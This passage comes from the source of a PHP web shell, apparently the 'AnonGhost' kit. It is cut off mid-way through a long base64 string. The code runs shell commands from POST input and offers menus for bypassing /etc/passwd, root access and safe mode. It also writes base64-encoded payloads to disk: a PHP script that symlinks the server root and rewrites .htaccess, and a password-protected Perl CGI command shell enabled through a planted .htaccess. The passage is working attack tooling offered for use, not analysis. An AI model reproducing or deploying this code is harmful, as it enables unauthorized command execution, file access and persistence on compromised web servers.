  2626. echo "
  2627. <br>
  2628. <b>
  2629. </b>
  2630. <br>
  2631. ";
  2632. }
  2633. echo "</center><center>";
  2634.  
  2635. //exec Function //
  2636. if ($_POST['ex']) {
  2637. echo"<textarea style='width: 543px; height: 420px;' class='area' cols='65' rows='15'>";
  2638. echo exec("ls /var/mail");
  2639. echo "</textarea><br>";
  2640. echo "
  2641. <br>
  2642. <b>
  2643.  
  2644. </b>
  2645. <br>
  2646. ";
  2647. }
  2648.  
  2649. echo "</center><center>";
  2650.  
  2651. //exec Function //
  2652. if ($_POST['shex']) {
  2653. echo"<textarea style='width: 543px; height: 420px;' class='area' cols='65' rows='15'>";
  2654. echo shell_exec("ls /var/mail");
  2655. echo "</textarea><br>";
  2656. echo "
  2657. <br>
  2658. <b>
  2659. </b>
  2660. <br>
  2661. ";
  2662. }
  2663.  
  2664. }
  2665. elseif($_GET['do'] == 'barut') {
  2666. echo "<center>";
  2667. echo "<ul>";
  2668. echo "<li> <a href='?dir=$dir&do=betc'>Bypass /etc/passwd</a> </li>";
  2669. echo "<li> <a href='?dir=$dir&do=baus'>Bypass User Server</a> </li>";
  2670. echo "<li> <a href='?dir=$dir&do=baper'>Bypass Perl Security</a> </li>";
  2671. echo "<li> <a href='?dir=$dir&do=barut'>Bypass Root Access</a> </li>";
  2672. echo "<li> <a href='?dir=$dir&do=beesem'>Bypass Safe Mode</a> </li>";
  2673. echo "<li> <a href='?dir=$dir&do=com64'>Base64 Command</a> </li>";
  2674. echo "</ul>";
  2675. echo "</center>";
  2676. echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Root Path with system function</span><center><br>';
  2677. mkdir('bforb', 0755);
  2678. chdir('bforb');
  2679. $bforb = 'PGhlYWQ+PHRpdGxlPkJ5cGFzcyBCeXBhc3MgUm9vdCBQYXRoIGJ5IGRlbml0YSBXb3JtPC90aXRsZT48L2hlYWQ+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vYy91L2N1MWJtcGdiMWsuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+PHN0eWxlIHR5cGU9InRleHQvY3NzIj48IS0tIGJvZHkge2JhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50OyBmb250LWZhbWlseTpDb3VyaWVyCW1hcmdpbi1sZWZ0OiAwcHg7IG1hcmdpbi10b3A6IDBweDsgdGV4dC1hbGlnbjogY2VudGVyOyBOZXc7Zm9udC1zaXplOjEycHg7Y29sb3I6IzAwOTkwMDtmb250LXdlaWdodDo0MDA7fSBhe3RleHQtZGVjb3JhdGlvbjpub25lO30gYTpsaW5rIHtjb2xvcjojMDA5OTAwO30gYTp2aXNpdGVkIHtjb2xvcjojMDA3NzAwO30gYTpob3Zlcntjb2xvcjojMDBmZjAwO30gYTphY3RpdmUge2NvbG9yOiMwMDk5MDA7fSAtLT48IS0tIE1hZGUgQnkgZGVuaXRhIFdvcm0gLS0+PC9zdHlsZT48YnI+PGJyPjxib2R5IGJnQ29sb3I9IjAwMDAwMCI+PHRyPjx0ZD48P3BocCBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJz4iIDsgZWNobyAiPGNlbnRlcj48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQnlwYXNzIGl0JyBuYW1lPSdkZW5pdGEnPjwvY2VudGVyPiI7IGlmIChpc3NldCgkX1BPU1RbJ2Rlbml0YSddKSl7IHN5c3RlbSgnbG4gLXMgLyBkZW5pdGEudHh0Jyk7ICRmdmNrZW0gPSdUM0IwYVc5dWN5QkpibVJsZUdWeklFWnZiR3h2ZDFONWJVeHBibXR6RFFwRWFYSmxZM1J2Y25sSmJtUmxlQ0J6YzNOemMzTXVhSFJ0RFFwQlpHUlVlWEJsSUhSNGRDQXVjR2h3RFFwQlpHUklZVzVrYkdWeUlIUjRkQ0F1Y0dodyc7JGZpbGUgPSBmb3BlbigiLmh0YWNjZXNzIiwidysiKTskd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRmdmNrZW0pKTskZGVuaXRhID0gc3ltbGluaygiLyIsImRlbml0YS50eHQiKTskcnQ9Ijxicj48YSBocmVmPWRlbml0YS50eHQgVEFSR0VUPSdfYmxhbmsnPjxmb250IGNvbG9yPSMwMGJiMDAgc2l6ZT0yIGZhY2U9J0NvdXJpZXIgTmV3Jz48Yj5CeXBhc3NlZCBTdWNjZXNzZnVsbHk8L2I+PC9mb250PjwvYT4iO2VjaG8gIjxicj48YnI+PGI+RG9uZS4uICE8L2I+PGJyPjxicj5DaGVjayBsaW5rIGdpdmVuIGJlbG93IGZvciAvIGZvbGRlciBzeW1saW5rIDxicj4kcnQ8L2NlbnRlcj4iO30gZWNobyAiPC9mb3JtPiI7ICA/PjwvdGQ+PC90cj48L2JvZHk+PC9odG1sPg==';
  2680.  
  2681. $file = fopen("bforb.php" ,"w+");
  2682. $write = fwrite ($file ,base64_decode($bforb));
  2683. fclose($file);
  2684. chmod("bforb.php",0755);
  2685. echo "<iframe src=bforb/bforb.php width=60% height=60% frameborder=0></iframe>";
  2686.  
  2687. }
  2688. elseif($_GET['do'] == 'baper') {
  2689. echo "<center>";
  2690. echo "<ul>";
  2691. echo "<li> <a href='?dir=$dir&do=betc'>Bypass /etc/passwd</a> </li>";
  2692. echo "<li> <a href='?dir=$dir&do=baus'>Bypass User Server</a> </li>";
  2693. echo "<li> <a href='?dir=$dir&do=baper'>Bypass Perl Security</a> </li>";
  2694. echo "<li> <a href='?dir=$dir&do=barut'>Bypass Root Access</a> </li>";
  2695. echo "<li> <a href='?dir=$dir&do=beesem'>Bypass Safe Mode</a> </li>";
  2696. echo "<li> <a href='?dir=$dir&do=com64'>Base64 Command</a> </li>";
  2697. echo "</ul>";
  2698. echo "</center>";
  2699. mkdir('cgipl', 0755);
  2700. chdir('cgipl');
  2701. $kokdosya = ".htaccess";
  2702. $dosya_adi = "$kokdosya";
  2703. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  2704. $metin = "AddType application/x-httpd-cgi .root
  2705. AddType application/x-httpd-cgi .root
  2706. AddHandler cgi-script .root
  2707. AddHandler cgi-script .root";
  2708. fwrite ( $dosya , $metin ) ;
  2709. fclose ($dosya);
  2710. $cgipl = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5Bbm9uR2hvc3QgUGVybCBzaGVsbDwvYj4gIyBzZXJ2ZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyDQojIHZhbHVlcyBzaG91bGQgd29yayBmaW5lIGZvciBtb3N0IHN5c3RlbXMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQokUGFzc3dvcmQgPSAiZ2hvc3QiOwkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCg0KJFdpbk5UID0gMDsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+QW5vbkdob3N0IFBlcmwgc2hlbGw8L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQoNCjxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJBbm9uR2hvc3QsQW5vbkdob3N0LEFub25HaG9zdC5pbmZvLGhhY2tlciI+DQo8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iQW5vbkdob3N0LEFub25HaG9zdCxBbm9uR2hvc3QuaW5mbyxoYWNrZXIiPg0KPC9oZWFkPg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiNGRkZGRkYiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCIgdGV4dD0iI0ZGMDAwMCI+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCjx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBib3JkZXJjb2xvcj0iI0ZGRkZGRiIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjElIj4NCjxiPjxmb250IHNpemU9IjIiPiM8L2ZvbnQ+PC9iPjwvdGQ+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgd2lkdGg9Ijk4JSI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+PGI+IA0KPGIgc3R5bGU9ImNvbG9yOmJsYWNrO2JhY2tncm91bmQtY29sb3I6I2ZmZmY2NiI+QW5vbkdob3N0IFBlcmwgc2hlbGw8L2I+IENvbm5lY3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYmdjb2xvcj0iI0ZGRkZGRiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlVwbG9hZCBGaWxlPC9mb250PjwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+RG93bmxvYWQgRmlsZTwvZm9udD48L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkRpc2Nvbm5lY3Q8L2ZvbnQ+PC9hPiB8DQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgc2l6ZT0iMyI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCgkkTWVzc2FnZSA9IHEkPHByZT48aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vaW1nODEwLmltYWdlc2hhY2sudXMvaW1nODEwLzgwNDMvQW5vbkdob3N0MTIucG5nIj48L3ByZT48YnI+PGJyPjwvZm9udD48aDE+RGVmYXVsdCBQYXNzd29yZD1naG9zdDwvaDE+DQokOw0KIycNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQpUcnlpbmcgJFNlcnZlck5hbWUuLi48YnI+DQpDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+DQpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dDQo8Y29kZT4kTWVzc2FnZQ0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxicj5sb2dpbjogYWRtaW48YnI+DQpwYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCjwvZm9udD4NCjxmb250IHNpemU9IjMiPg0KbG9naW46IDxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOiNmZmZmNjYiPkFub25HaG9zdCBQZXJsIHNoZWxsPC9iPjxicj4NCnBhc3N3b3JkOjwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCIgc2l6ZT0iMyI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeycnfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiPGNvZGU+Q29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+PC9jb2RlPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2Fpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dvdXQNCnsNCglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llDQoJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCSZQcmludExvZ291dFNjcmVlbjsNCg0KCSZQcmludExvZ2luU2NyZWVuOw0KCSZQcmludExvZ2luRm9ybTsNCgkmUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSZQcmludEN